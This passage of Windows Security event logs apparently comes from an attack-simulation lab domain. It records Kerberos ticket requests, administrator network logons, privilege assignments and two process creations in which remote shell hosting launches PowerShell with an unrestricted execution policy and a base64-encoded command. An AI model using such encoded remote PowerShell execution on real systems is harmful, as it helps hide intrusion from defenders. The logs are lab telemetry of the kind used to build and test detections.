SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250831 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11CC72 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250830 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250829 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250828 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250827 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10a4 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x10d4 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250826 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11AD5B - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10d4 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1180 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250825 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11CA88 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250824 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11CA88 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250823 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250822 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250821 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250820 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11CA68 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250819 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11CA68 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250818 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11CA68 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250817 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250816 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {823B3435-022A-717C-CC41-75E906A97B98} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250815 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:32 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250814 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account 